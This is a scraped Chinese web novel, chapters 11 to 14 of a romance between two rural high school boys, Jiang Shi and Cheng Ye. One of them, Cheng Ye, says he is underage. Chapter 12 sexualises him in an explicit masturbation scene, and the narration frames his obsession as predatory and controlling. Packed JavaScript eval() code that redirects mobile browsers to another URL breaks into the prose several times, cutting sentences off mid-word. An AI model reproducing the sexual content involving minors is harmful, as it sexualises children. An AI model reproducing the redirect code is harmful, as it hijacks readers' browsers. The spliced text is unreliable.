几个男生被程野冷冰冰的眼神一看,立马把头摇得跟拨浪鼓似的。一开始给江时套被套的那个男生多看了程野两眼,没忍住问道:“他是一班的程野吗?” 程野没说话,夹在中间的江时只能回答开口,“应该是的吧,我也不是很清楚。” 他眼神在两人中间扫了下,“你们认识?” “不认识。”男生道:“只是听说过他,听说他好像不读了,没想到会在这里遇见,你们认识啊?” 原本在江时肩膀上勾着的书包不知道什么时候跑到程野手上去了,他双手插着兜,懒懒散散地走在程野身边。 “不是很熟,一个村子里的人。” 不是很熟的程野喊了声江时的名字。 江时撩起眼皮朝他看去。 程野问他,“明天你要回家吗?” 这边的高中周末不上课,在宿舍那硬邦邦的床滚了一个星期后,江时格外想念家里江雪给他铺的柔软的大床。 “回吧。”江时道:“反正在这里呆着也没什么事。” 程野从袋子里掏出一杯双皮奶递给江时,“学校门口买的,给你。” 周遭人来人往的,他一个大男生,江时觉得吃这个有些拉不下脸。 “我不要。” “芒果味的。” “什么味的我都不要。” “放热了就不好吃了。” “程野,你听不懂人话吗,我说我不要!” “对不起。” 江时要气死了,“对不起!对不起!你一天只会说对不起吗?” 程野说:“芒果味的,我让老板加了双份。” 江时:“……” 他踹了程野的小腿一脚。 江时的几个室友看着江时嘴里不熟的同村人顶着一个灰扑扑的脚印跟在他身后,而江时本人则拿着双皮奶恶狠狠地往嘴里喂了一口。 吃着程野的,挨骂的还是程野。 “我都说我不要了,你还给,要是我被人嘲笑你就完了。” 他眉目里带着连自己都不知道的鲜活。 程野老实道:“吃自己喜欢的东西为什么要嘲笑你?” 江时咬着勺子瞪他,“谁跟你说我喜欢了?” 程野:“你明明就喜欢。” 都吃了好几口了。 江时恨不得把双皮奶倒扣在他头上。 就这样一路到宿舍,程野把袋子往宿舍的桌子上一放,从里面掏出了一套崭新的四件套。 江时:“……” 他人都惊呆了,“不是,你干嘛呢?” 程野道:“一个星期了,床单被罩该换了。” 11. 第 11 章 江时是真的觉得程野有病。 隔着一个县的距离,千里迢迢、大包小包的就为了过来给他换床单被罩。 但不得不承认,他买的四件套款式比江雪给他选的小熊印花好多了,质量摸着也更好些,也不知道他哪里来的钱。 江时吃完一杯双皮奶,程野的被罩也换完了,每个角落都掖得整整齐齐,比之前那个室友给他套的好多了。 江时说:“你多少钱买的?我把钱给你。” 程野长臂一伸,轻松一抖,被子轻盈整齐地盖在江时床上。他终于满意了,没理会江时的话,而是提起其中一个袋子,稍微开了个口,烤鸡的香气顿时蔓延出来。 “我带了烤鸡,要吃吗?” 江时钱没给出去,莫名其妙地跟着程野来外面吃饭,同行的还有个高新和。 高新和看见程野比他激动多了,眼见程野拎了只烤鸡过来,恨不得跪下叫他声爸爸。 “哥,你是我亲哥,知道我在食堂吃得生不如死,所以特地来犒劳我。” 程野很是无情,“这是给江时的。” 高新和:“……” 他粗神经道:“给小表哥也无所谓,反正他胃口小,他吃剩的我再吃。” 可谓是非常的没有尊严。 这回轮到江时:“……” 程野跟老板要了个盘子,戴着手套撕鸡肉,江时则拿着菜单点自己想吃的烧烤。 他口味淡,哪怕吃烧烤也不放辣椒,点来点去也只点了几串。 点完自己的后,他把菜单递给高新和,“看看要吃什么,我请客。” 程野看了他一眼,没反驳。 他来的时候跟领班预支了工资,暂时还算有钱,但他跑那么远回来找江时已经很不合时宜了,再抢着干别的,别说江时,哪怕是粗神经的高新和都能发现问题不对。 程野把撕好的鸡肉放在江时面前,“我没让老板放辣椒,尝尝看。” 江时把筷子用开水烫了一遍后才慢条斯理地夹了块鸡肉。程野说得不错,味道的确还可以,哪怕没放辣椒,甚至还有点冷,但吃着外酥里嫩的。 高新和口水都快流出来了,“小表哥,怎么样?好吃吗?” 程野赏了他一个鸡架。 高新和这个年纪和胃口,哪怕程野给他个鸡屁股他也能啃得高高兴兴的。烤鸡没辣椒,他自己找老板要了点辣椒面,边吃边问程野,“程哥你这次回来什么时候走?” 程野没吃,他坐在椅子上看着对面的江时,“明天跟你们回家,后天走。” 高新和又道:“你在那边怎么样啊?工资高吗?辛不辛苦?” “还行。” 高新和一听,顿时蠢蠢欲动,“那到时候如果我考不上,就跟你一块去挖煤好了。” 他胆子小,又没什么志向,只想跟在程野屁股后面跑。 程野却想也不想地拒绝他,“别去了,你不合适。” 高新和不服,还想再说什么,江时在桌子底下踢了他一脚,“大表弟,你以为这种工作谁都能做?先别说你能不能干,如果到时候你爸知道了,估计能把你腿打断。” 高新和:“……” 高新和缩了缩脖子。 店里没什么人,老板的菜上来得很快。江时不要辣椒的那几串单独放在一边,和程野跟前的比着,颜色又淡又素。 江时吃了两片土豆,鼻尖飘来辣椒辛辣的味道,辣里混着着香气,越吃他嘴里的土豆越寡淡。 他忍不住伸出胳膊肘碰了碰程野,“给我尝一点。” 程野换了双干净的筷子,从跟前的碟子里拿出一串土豆片,他把上面的辣椒刮下来,只留了一点,有辣味,但不至于让江时受不了。 江时接过他递过来的土豆片,先是谨慎地闻了闻,再试探性地咬了一小口。 不怪他挑食,主要是江城那边的菜都很清淡,越是清淡的菜往里面加味道重的调料气味就格外明显,辣椒的味道也怪怪的,辣里面还带着奇怪的甜味。 但林城这边不一样,这边口味重,做什么都要放辣椒,随便走进一家餐馆,最先飘出来就是辣椒香味。 闻的时间久了,江时不吃辣椒的心开始动摇。 江城的辣椒带给他的冲击力很大,在咬下土豆前江时已经做好了心理准备,但没想到,入口的滋味和他在江城吃到的完全不一样。 很单纯的辣味,带着点呛香的口感,然后是花椒的麻。 江时没吃过辣,哪怕土豆上面的辣椒大部分被程野弄掉,但他还是没忍住被辣得轻轻“嘶”了一下。 程野侧过脸望他。 穿着校服的少年捧着水杯喝了口水,眼睛里带着点水润的光泽,抿着唇感受着上面的滋味,又接着吃了口。 江时一口土豆一口水的吃完了,吃完后唇色比以往的都要深。 他缓缓吸了口气,察觉到身边靠过来一个人,明明没有挨着,但男生蓬勃的热度却隔着衣服传了过来。 程野微侧着身,宽阔的肩背几乎把江时笼盖。他比江时高,说话时垂着眼,盯着他被辣得有些泛红的唇,声音低低的,“还要吗?” 江时捧着茶杯,舌尖从唇瓣上刮过,带起水光。他又开始轻轻地吸气,喝着茶摇头,“不要了。” 太刺激了,他得缓缓。 他没等到程野的回答,有些疑惑地朝旁边看去。 逆着灯光,程野的眼睛很幽深,凸出的喉结在江时看过来时滚了下,拿着竹签的手背上鼓起青筋。 他像是在克制什么,但在江时看过来时又蛰伏了下去,只留下木讷的皮囊。 程野脚尖抵着地板,一用力,椅子往后挪。他和江时拉开距离,吃完了剩下的东西。 - 程野晚上跟高新和挤在一起睡,第二天三人一起回了家。 江雪知道江时要回来,提前洗了只腊猪脚,江时到家的时候才刚放上锅。 她绕着江时看了圈,“怎么样?新学校习不习惯?同学好不好相处?” 江时什么东西都没带,背着个书包就回来了。他把书包往门口的椅子上一丢,人顺势就窝了上去,半阖着眼,懒洋洋地回答江雪的问题,“还行,习惯,没相处。” 他这副没骨头的样子看得急性子的江雪想骂人,但一想着他上了一个星期的课,又给忍了下去。 她眼不见为净的把江时的书包提进去,“你和新和一起回来的?” 江时感受着正午太阳落在脸上的温度,打了个哈欠,“对,还有程野。” “程野?”江雪转身,“程野回来了?” “嗯,他们周末放假。” 江雪闻言顿了下,“那你有喊他来我们家吃饭没?” 江时的腰越滑越低,不到几分钟,被初春的太阳融化在了椅子上。 他像只困倦的猫,太阳一照,整个人开始放空,江雪说完,他半天才反应过来,语气里带着不解,“我干嘛要喊他来我们家吃饭?” 江雪瞪了他一眼,“他家里面一个人也没有,怎么吃饭?再说了,他之前照顾你那么多天,你喊他来吃饭不是应该的吗?” 道理是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165302|165105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么个道理,江时稍稍支起一点身子,“明明是他撞的我,他照顾我不是应该的吗?我不找他赔我医药费和精神损失费已经算我善良了。” 江雪:“……” 这死孩子。 她把江时从椅子上拉起来,“我现在就淘米做饭,你去喊程野来吃饭。” 江时很不乐意,“喊他干什么?再说了,不是有高新和吗?他说不一定去高新和家了。” 江雪:“他去哪家那是他的事,我们喊不喊那是我们的事,总不能让人说我们一点人情味也没有。” 在江雪的怒视下,江时只能去程野家。 三月初,虽然还有点冷,但已经开始升温。天一晴,就开始刮风,路边的樱桃悄无声息绽放。 风从山谷穿过,掠过山川草木,给沉寂的大地带来春的希望。 程野的家依旧破旧,门口的红色油漆结了痂,生出麻麻赖赖的裂痕。 门口卸掉的大门被粗糙地安装上去,风一吹,咯吱咯吱的响。 江时站在大门前喊了两声程野的名字,没人回应他,倒是屋子侧边的小院子里传来哗啦的水音。 他停顿了会,绕到屋子侧边。 午后光线刺眼,一米八几的少年站在樱桃树下,肩背在阳光里舒展。肩宽、腰窄,带着少年人独有的蓬勃热意,迎面兜了瓢水。 下一秒,似乎察觉到什么,程野回头,看见了站在拐角处的江时。 江时:“……” 这画面该死的有些熟悉。 他正想转身,眼神不受控制地往下一扫,看见了程野腰腹上像蜈蚣一样盘踞的伤口。 …… 院子里的樱桃树很大,花苞半开,目光越过纵横的枝丫,顶上就是蓝天。 江时揪了朵樱桃花,指尖从花瓣上碾过,染了一手的汁水。 他松开手,问程野,“你身上的伤怎么回事?” 程野洗澡洗到一半,身上的水都没擦干就被江时撞到,只能临时套了件T恤上去,衣服的领口洇湿一片。 他老实道:“前两天矿洞坍塌,为了救一个工友,不小心伤到了。” 江时:“那上个星期你给我打电话的时候怎么不说?” 程野回他,“不重要。” 江时想,是伤不重要还是他不重要? 下一秒程野就道:“伤不重要,死不了。” 江时:“……” 他又不傻,那么长个疤,也不知道当时伤口有多深,不死也得去半条命。 他忍不住道:“塌了就塌了,管好你自己就不错了,还救别人,真当自己是英雄呢。” 程野坐江时对面,看阳光落在他脸上,风把他头顶的樱花吹得摇晃,落在他脸上的光也开始摇晃,像细碎的金,揉碎了贴着他。 他开得比头顶的樱花还要艳丽。 王刚是他刚进矿时被分来带他的师傅,他这个人性子温吞,老实巴交的,话还多,平日里休息的时候就跟程野絮絮叨叨地说他家的事。 说他给人装修房子从二楼摔下去断了一只腿的媳妇,说他被骗了一万多的钱,说他正在读书的三个孩子…… 腹部的伤有点疼,程野换了个姿势。 “我不是英雄。”他道:“只是……” 只是王刚说起他三个孩子的时候,眼底的光是那样灼热。从小到大,没人用那样的眼神看过他,所以在王刚滑下去的时候,程野忍不住伸出了手。 可当断裂的木板插进他腹部的瞬间,他又后悔了。 他死了,周末谁去看江时? 12. 第 12 章 江时有点沉默。 他靠近程野,掀起他的衣服,看着那条长长的疤。风从两人的身侧穿过,在江时的眼皮底下,男生精瘦的腰不受控制地起伏了下,上面的蜈蚣仿佛活了过来。 直到江时的手放上来。 指尖和肌肤相贴的瞬间,程野的世界仿佛被按下暂停键,风止住喧嚣,晃动的树枝停滞,而更加急促、鼓动的声音从他心脏传来。 他的指尖陷进椅子的木屑里,花了好大的力气才让自己没在江时面前失态。 江时对此一无所知,他的指尖从狰狞的伤口上滑过,本意是有点怜惜,可凹凸不平的触感让他心底下意识有些发毛,他猛地收回手,衣服下摆随之落下。 别人受了这么重的伤,他却害怕这狰狞的伤口,江时有些心虚,一心虚,说话就软了几分,“疼不疼呀?” “不疼。”程野哑着声音,别扭地换了个姿势。 比起疼,他更难受的是其它地方。 江时在衣服上搓搓指尖,终于想起他来的目的,“我妈让我叫你去我家吃饭。” 程野抓过刚刚脱下来的外套搭在身上,站起来的动作有点仓皇,“好,我去换个衣服。” 风又大了起来,江时靠在樱桃树上,花枝在他眼底摇晃。 他缩着手,白嫩的手指勾着衣服里多余的线头,明明什么都没有,他却感觉指尖爬上一来条蜈蚣。 一墙之隔的门里,程野靠在门上。 他弓着背,扯开外套,低头看着。 旁边的木门裂开一道缝隙,日光挤过窄窄的口,在地上开出一条金色的裂痕。 他贴着那道口,看见了门外面的江时。 少年身上穿了件浅绿色的衬衫外套,里面是一件白色T恤,那绿色柔和,将他身上的锐利消磨了几分,只剩下清透的纯,像含苞的剑兰。 程野仰着头,喉结滚动,呼出的气体灼热粘稠。他伸手握住,整个人像是被丢进岩浆,又像是困在春的浪潮里。 江时转了个身,风将他的外套吹起,露出里面清瘦的腰。 程野的指腹从顶端重重刮过,他幻想自己用手贴着那截腰,那么细,他一只手就揽得过来,掐着,摁着,像鱼一样扑腾,却翻不出他的手掌心。 啪嗒—— 汗水从程野脸上滚落,溅进眼睛里,缝隙里的少年被水光折射出迷离的光芒。 他难受地靠在门上,眉头皱起,粘液濡湿指尖,腹部的蜈蚣剧烈起伏。 “江时……” 他贴着门,嗅着风送进来的微弱气息,半是痛苦半是愉悦的喊。 “江时……” …… 江时猛地回头。 阳光依旧灿烂,风声依旧喧嚣,离他不远的门安安静静地合着。 程野也太墨迹了吧?他在心底抱怨,换个衣服这么久。 他抬脚就想开门进去看看他好了没,但走了两步,脑海里忽然浮现那天撞到的尴尬场景。 “……” 江时停住脚步,站在门外面。 “程野?” 他喊了声程野的名字。 没人回应他。 “程野?” 他又喊了声。 过了半分钟,门里传来程野的声音。他不知道在干什么,声音里夹着细细的喘,音色压得很低。 “江时,我在。” 江时觉得有点怪,但又想不起哪里怪,只是本能让他往后退了两步,“你好了没啊?怎么磨磨蹭蹭的。” “快了。”程野道:“江时,你再跟我说说话好不好。” 江时:“……” “你这是什么奇怪的理由?” “裤子上的绳子打结了,一时半会解不开。” “江时……”他又喊他的名字,“我有点无聊,你喊喊我好不好?” 江时当即垮起一张脸,“程野,你是不是有病?” 程野猛地一僵,然后拱起的脊背一点点松了下来,他兜着满满的一掌心,贴着门,闷闷地笑了。 他的确是有病。 …… 五分钟后门才打开,江时抱着手站在外面冷着脸扫视,“大少爷终于换好了?” 程野穷,衣服换来换去也就那几件,磨得起边的,短的,不合身的。两个星期过去,他原本短得贴着头皮的头发长了点,眉目依旧深沉。 他母亲是少数民族,他身上带着彝族的血统,鼻梁高挺,眼窝深邃,双眸狭长税利,是很有野性的长相,只是他在江时面前时常垂着眼,柔化了眼底的野性,才会让江时觉得他老实。 除了程野自己,没人知道在隔着一道门的后面,他究竟对着江时做了什么。 面对江时的指责,他眼神从少年漂亮的眼睛上扫过,然后是鼻子、嘴巴,最后钻进被风撩起的衣摆。 他伸出手掌隔空比了下,收敛眼神,又是一贯的无害。 “抱歉,让你久等了。” 江时道:“叫你吃饭都不积极,活该饿死你。” 程野只是老实地笑了笑。 他走在江时身侧,看着少年侧过脸在他身上闻了闻,满脸的狐疑,“你干什么了?怎么身上有股奇怪的味道?” 味道很淡,但架不住风一直从程野那边往他身上吹。 程野道:“衣服在屋里放了两个星期,估计有点发潮。” 江时:“……” 程野往旁边退了两步,“抱歉,是不是很难闻?我离你远点。” 江时是有点嫌弃不假,但程野这么一搞,他反而有些不爽,“谁说我觉得难闻了?前两天天天下雨,衣服发霉了正常。” 程野又站回他身边,“你真的不觉得难闻吗?” 江时动了动鼻子,“还行吧。” 就是闻着有点怪,发霉是这个味道吗? 听他这么说,程野很呆地笑了下,垂在身侧的手缩着,步调慢吞吞地跟着江时。 风那么大,如丝般牵着那些气味落在江时的头发、衣服上,就好像降在他手心的潮湿也跟着降落在江时身上,黏腻、蓬勃,带着无法言喻的欲望。 可是这点对程野来说远远不够,他恶劣地、阴暗地,想把那些液体涂在他脚上、腰上、手上,让他含在嘴里,咽进胃里,由内而外地打上属于他的标签。 程野闭上眼,面无表情地折断一截树枝,尖锐的断面戳进掌心的软肉,直到鲜红的液体从指缝溢出他才松了手。 …… 等到两人磨磨蹭蹭地回到家时江雪的猪蹄都炖好了。 她蹲在门口洗菜,看见他们,招呼道:“赶紧来,我们今天吃火锅,我洗完菜就可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“怎么会这样?”江时一激动,手上的力道就加大,“这是违法的吧?不行你就去告他。” “告不了。” 程野道:“我没成年,没签合同。而且,矿山老板的消息都是互通的,如果我去告了,以后就没矿山要我了。” 江时有点沉默。 程野安慰他,“没关系,一点小伤而已,我年轻,恢复得快。” …… 吃完饭,江时就回到了房间。 房间里还铺着那床大红的喜被,墙角有一个木制衣柜,旁边放着张桌子。 江时关了门,坐在床上。 他从书包里摸了颗奶糖放嘴里,打开桌子下面的抽屉。没他的允许,他的房间江雪从来不进来,抽屉里的盒子还是他离开时的模样。 江时咬着糖,盘腿坐在床上,打开了抽屉里的盒子。 他离开的时候把属于宋家儿子的东西都还了回去,唯一带走的只有几身衣服和这个盒子。 里面是他这些年攒下来的零花钱,以及朋友送的礼物变卖的钱,不多不少,刚好两万。 如果江雪不喜欢他,江时能依靠的只有这两万。 糖在口腔融化,红色的被子把盒子蒙上一层暧昧的光。 蜈蚣爬上了眼底。 13.第 13 章 第二天,江时起的时候程野已经走了。 高新和拿着书包屁颠屁颠地来找他,他手里拎着一袋豌豆,看了圈没看见江雪的身影,就自己把豌豆放桌子上,“小表哥,你妈呢?” 江时拎着保温瓶去院子里洗漱,闻言困倦地打了个哈欠,“不知道,干活去了吧。” “哦。”高新和道:“我爸妈前两天犁地,地里的豌豆苗全给拔了,摘了好多豌豆,我妈让我拿点过来。” 江时冷水放多了,冰凉的水冻得他打了个哆嗦,人瞬间就醒了。他看着高新和挂在门口梨树上的书包,“你连书包都拿过来了?” “我爸妈今天出远门,他们让我过来找你,中午跟你一起回学校。对了,早上程哥敲我门了,他说他先走了,让你别找他。” 江时愣了下,“程野回去了?” 高新和早上没吃东西,这会饿得心慌,把江雪留给江时的馒头扒拉了一个。 他边啃馒头边道:“对啊,晚上矿上那边的人给我爸打了个电话,说是找他,他一大早天还没亮就走了,估计是有什么急事吧。” 江时把毛巾挂在架子上,脸上带着被搓出来的红印,垂下眼,没说话。 他跟高新和一起啃馒头。 高新和都吃两个了,江时半个都没吃完。他叉开腿坐在矮板凳上,指尖揪着一点馒头慢慢的捻,将蓬松的面团捻成一个实心的面疙瘩。 羽毛鲜亮的大公鸡歪着脑袋看他。 手机铃声从屋里传来,江时把面团丢给大公鸡,起身回屋找手机。 张池给他打的电话。 昨天晚上翻出来的盒子还放在桌子上,江时坐在床上接了电话。 刚一接通,张池骂骂咧咧的声音就传了过来,“我靠宋时!你手机欠费了知不知道?话费都不交!” 江时道:“我江时,谢谢。” 张池:“……” 江时又道:“最近没看手机,不知道欠费了,你找我干什么?” 张池跳脚,“你看看你说的这是人话吗?没事我就不能找你了?你一个人往深山老林里跑,被卖了都没人知道,我是在关心你。” 江时往床上一躺,摸了颗糖到嘴里,“好着呢,吃好睡好。” 张池道:“是吗?那你拍张照片给我看看。” 江时看着头顶爬着蛛丝、黑黢黢的木头房子,他翻个身,“有什么好看的,我跟着我亲妈,她总不能亏待我。” “你清高,你了不起,走了多余的钱都不拿一分。我问过宋建安了,你那地方喝水都要靠挑,面朝黄土背朝天的,回家了还要跟着干农活,就你那十指不沾阳春水的样子,你干得明白吗?” 江时:“……” 张池问他,“你真的一分钱也没带走?” “不算吧。”江时道:“多少还是有一点。” 张池真是服了他了,“你在宋家这么多年,哪怕不是亲生的,没功劳也有苦劳吧,人家都没说什么,你倒好,人一走,钱全留下了,到现在连话费都交不起。” 江时说:“如果你打电话是为了挖苦我的话,可以挂了。” 张池:“我他妈那是担心你,担心你饿死在那破山沟沟里。话说,你钱够用吗?有没有人欺负你?” 江时:“够用,没有。” 张池:“真的?” 江时:“你觉得我是那种会受气的人?” 张池:“……” 这哥只会让别人受气。 眼看江时的耐心即将售罄,张池犹豫了会,还是忍不住开口,“那个……霍寂找我了,他问我你在哪里。” 江时原本含笑的眸子冷下去,“你跟他说了?” “没。”张池咽咽口水,“你不同意,我哪敢说啊。” 江时道:“你转告他,说他爷爷过得很开心,就不劳烦孙子惦记了。” “……” 挂了电话,江时在床上赖了差不多二十多分钟才起来。 他收拾两件衣服塞书包里打算带去学校,临走时,江时看着桌子上的盒子,顿了几秒,最后还是拿起来塞书包最里面的格子里。 新的一周风平浪静。 江时对学习没多大兴趣,大部分时间都是趴桌子上睡觉,要不就是拿手机玩游戏。 他的同桌是个剪着齐刘海的女生,话很少,两人平均下来一天也说不了一句话。倒是窗边和走廊总是出现些陌生的面孔,带着好奇的目光打量着江时。 世上总不缺胆大的人,在周五晴朗的午后,江时被一个女生拦住了。 粉色信封里封存着少女的心事,可江时碰都没碰一下,指尖勾着空荡荡的书包,侧身绕开了女生。 “抱歉啊,我不谈恋爱。” 礼貌又冷漠。 转学这几周,大家对这位漂亮转学生的印象就是如此。谁和他说话他都会回应,可也仅限于回应。唯一跟他走得近的好像只有十班的高新和,可再怎么近,中间似乎也隔着一层膜。 就像是一只高贵的猫,独立不粘人,平日就爱躺在阳台晒太阳。它漂亮的皮囊引得人驻足,可一但靠近,猫就警觉的溜走。 看似高傲,可也透着孤独。 - 江时去了食堂。 里面的菜没一个他喜欢吃的,要不是为了维持生活,他看都懒得看一眼。 他随便打了两个菜,端着盘子去了窗边。窗户外面的樱花开得格外灿烂,枝丫探进开了一半的窗户,桌子上落下几枚浅粉花瓣。 江时靠在椅子上拿出了手机。 他的通话记录只有寥寥几条,最新的还是上次张池给他打的电话,下面是一个没备注的陌生号码。 那号码安静地躺在江时的手机里,时间是上个周。 江时的指尖在拨号键上按了又松开。 几秒后,他合上手机,在心底骂自己神经病。 他和程野又没那么熟,管他去死。 江时黑着脸吃完了一顿饭,端着盘子出去洗,结果刚走到食堂门口,就被站在外面的高挑背影吸引了视线。 像是察觉到他的到来,背对着他的人回头,露出一张深邃俊朗的脸。 “江时。” 程野喊他的名字。 江时搭在盘子边缘的指尖跳了下。他自己都没察觉到,在看见程野的瞬间,他的眼睛亮了几分。 只不过他的脸依旧臭,“你怎么在这里?” 程野买了件新的黑色外套,地摊货,十多块,质量依旧不好,但好歹合身。 黑色将他眉目衬托得更加深沉,站在食堂洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程野道:“没菜单,要什么自己跟老板点,来之前我就把菜点了,不想吃也退不了。” 江时在桌子底下踢了程野一脚,“程野,你钱很多吗?” 程野被踢了眉头也不皱一下,“不多。” 他要是多的话就不会带江时来这里了。 店里没人,他们说话的声音很明显,江时压低了声音道:“我有钱,不稀罕你请我,你自己什么情况你不知道吗?” 他没挑破了讲,但程野知道他的意思。像他这样的,赚了钱就应该老老实实存着还人,而不是在这里花钱请客。 他把碗和筷子放在江时面前,抬眸看着他的眼睛,“我知道,可我还是想请你吃饭。” 别人同他有什么关系?他赚钱也只是想给江时花钱,和那些要账的人有什么关系? 程建斌欠的账他可以还,但绝不会牺牲他原本打算花在江时身上的钱。 要想圈住漂亮小鸟,得用金银软丝筑巢,吃最嫩的浆果,喝最甜的露水,把它养得任性、骄纵。 当连落下的雨都能把它翅膀打疼的时候。 爱就成了圈住它的牢笼。 14.第 14 章 被他那双漆黑的眼睛看着,江时心底没由来的突了下,他握紧手里的杯子,问程野,“你为什么要对我这么好?” 程野观察着江时脸上的神色,缓了会才开口,“因为我想对你好。” 作为回报,你应该用眼睛看着我,嘴里呼唤我,爱和疼都应该在我身上索取。 或许是他眼底的目光过于侵略,漂亮小鸟的眼睫颤了下,羽翼张开,想要逃离这个并不是很华丽的笼子。 程野垂下目光,抬手往没涮过的杯子里倒茶,他仰头灌了一口,连着某些蠢蠢欲动的心思一并灌了下去。 “因为没人对我这么好过。”程野张口,低沉的声音带着一丝不易察觉的苦涩,“因为我家里的原因,没人和我玩,他们见了我都绕着走。我妈走的时候把我弟带走了,她把我丢给了我爸,她不要我,我爸也不要我。” “没人需要我。” 程野又喝了杯茶。 “可你不一样。”他道:“江时,你和他们不一样。你没有躲着我,你来这里什么都不懂,你需要我。” “没人对我这样过,所以我也想对你好一点。” 江时愣住了。 “我……”他张嘴刚想说话,老板端着一盘菜从后厨走过来,“你们的菜好了。” 程野把中间的盘子往他跟前推,“尝尝看,和你在江城吃到的有没有区别。” 老板的菜保留了江城的特色,又融合了林城的口味,吃起来比单纯的江城菜要好吃。 只不过江时有些食不知味,他吃一口腌黄瓜看一眼程野,再吃一口腌黄瓜再看一眼程野。 “其实……”江时弱弱道:“我对你也没有很好。” 江时是脾气不好,但人又不是傻。就他之前对程野的态度,岂止是不好,简直就是糟糕,他把对来溪柳村的不满都发泄在了他身上。 “我知道。”程野给他夹了一筷子牛肉,“但你没跟他们一样躲着我。” 他看着少年咬着筷子尖,洁白的牙齿下偶尔探出猩红的一点从上面舔过,然后夹起他刚刚夹的牛肉,放进湿润的口腔,混合着唾液,嚼碎了咽下。 “江时。”他道:“我们可以当朋友吗?” …… 程野关于性懂得很早。 他小学的时候他妈就走了,他妈不在后,程建斌更是肆无忌惮。 一开始他是打程野,拽着他的头发,像拖一条野狗一样拽着他打。 再后来,单纯的暴力已经满足不了他。 他就去赌,偶尔赢了钱就去招个女的回家。 程家很偏僻,没人听到那栋破旧的木屋晚上究竟传出什么样的声音,除了程野。 程建斌抓着他,用皮带将他绑在堂屋的柱子上,眼前是两具交合的□□,白肉像浪花晃荡,尖锐的声音高高低低。 事后他吐了两天,程建斌却抓着他笑,“怎么?觉得脏?不脏哪来的你,贱狗就是从贱人身下爬出来的,要说脏,程野,你比谁都脏。” …… 程野的确比谁都脏。 可江时却很干净,眼睛是清澈的亮,白皙的指尖握着茶杯,冒着热气的茶将他的手蒸出几分浅淡的粉,露出来的脖颈修长。 他光坐在那里,就比院子里的桃花开得还要漂亮。 程野想,他不仅脏,他还坏。 他用谎言编织一个牢笼,哄骗无知的羔羊往里跳,然后用他身上肮脏的液体涂满羔羊满身, 没办法,谁叫江时招惹了一条鬣狗。 鬣狗收起尖牙和利爪,假装自己是被驯服的家犬,乖顺地翻着肚皮。 …… “江时,我们可以当朋友吗?” 江时没想到程野会这么问。 他很少有朋友。 小时候,他所有的时光被宋家安排的课程挤满,钢琴、小提琴、绘画以及学习,可他太笨了,无论怎么学都达不到父母的要求。 渐渐地,父母放弃了对他的高要求。 他的母亲对他说:“宋时,你不用学了,你长得好,以后只负责长得好就行了。” 对他们来说,美貌也是一种资源,无论是男是女。 围在江时身边的人很多,他们企图通过江时攀附宋家,却又看不起江时。他们以为自己伪装得很好,可江时总能看透。 很多人跟江时说过要当他朋友这种话,在他们看来,只要成了江时的朋友,江时卡里的钱就该给他们花。 从来没有一个人,把他仅有的东西都掏在江时面前,比起像蝗虫一样攀着江时吸血,他更喜欢江时向他索取。 那双眼睛里带着江时看不懂的深沉,里面没有他见得最多的那种光芒,或者说,他图的东西,江时读不出来。 可当他说出这句话时,眼底的神色又是那样的真切,真切到好像是真正的想跟他当朋友。 江时罕见地感到无措。 程野像是察觉到了,声音放柔和,“没关系,这只是我一厢情愿的想法,我知道我很差劲,你朋友那么多,你不想跟当朋友也能理解。” 江时有时候像刺猬。外力一大,他尖锐又冰凉,可一旦柔软下来,那些刺全都收拢,甚至还不小心扎自己一下。 嘴里的菜更没有滋味了。 食不知味地吃了两口,江时握着筷子的指尖因为用力有些发白,他别扭开口,“我也没有很多朋友。” 程野倏地抬眼。 或许是不常说这样的话,少年的耳尖爬上一抹粉,脸色看起来还是臭臭的,“我又没说不跟你当朋友。” 简陋的笼子开了口,猎人用仅剩的稻米将善良无知的小鸟哄了进来。 - 吃了饭,程野照例去找高新和蹭一晚上。 江时跟他走到宿舍楼下,他喊住了要跟着他一道上去的程野,“你先在这等着。” 程野止住脚步,他没问为什么,江时叫他等,他就乖乖的等。 江时跑上三楼,室友出去吃饭还没回来,宿舍空荡荡的,夕阳透过窗户照进来,地上拉开一团柔软的金色。 广播里在放着歌,他打开属于自己的那个柜子。 盒子安静地躺在最里面的角落,沉甸甸地。 【回忆的画面 记录的语言 爱始终是你手中长长的线 ……】 江时抱着盒子下了楼。 程野还站在他离开时的那个地方,在他下楼的瞬间就看了过来。 江时喘了口气,道:“你跟我过来。” 他带着程野绕去了宿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当然,这些江时肯定不会说出来,他扭头瞪了程野一眼,“什么帮你,我都说了,我只是找个保镖。” 说完他就去抢程野怀里的盒子,“你到底要不要?不要给我,我还不稀罕给呢。” 程野扣着盒子纹丝不动。 他盯着江时看了几秒,然后露出一个笑,“要。” 下一秒,他弯下腰靠近江时,“两万只当保镖的话你太亏了,少爷,买了我吧,让我干什么都行,以后赚的钱都给你。” 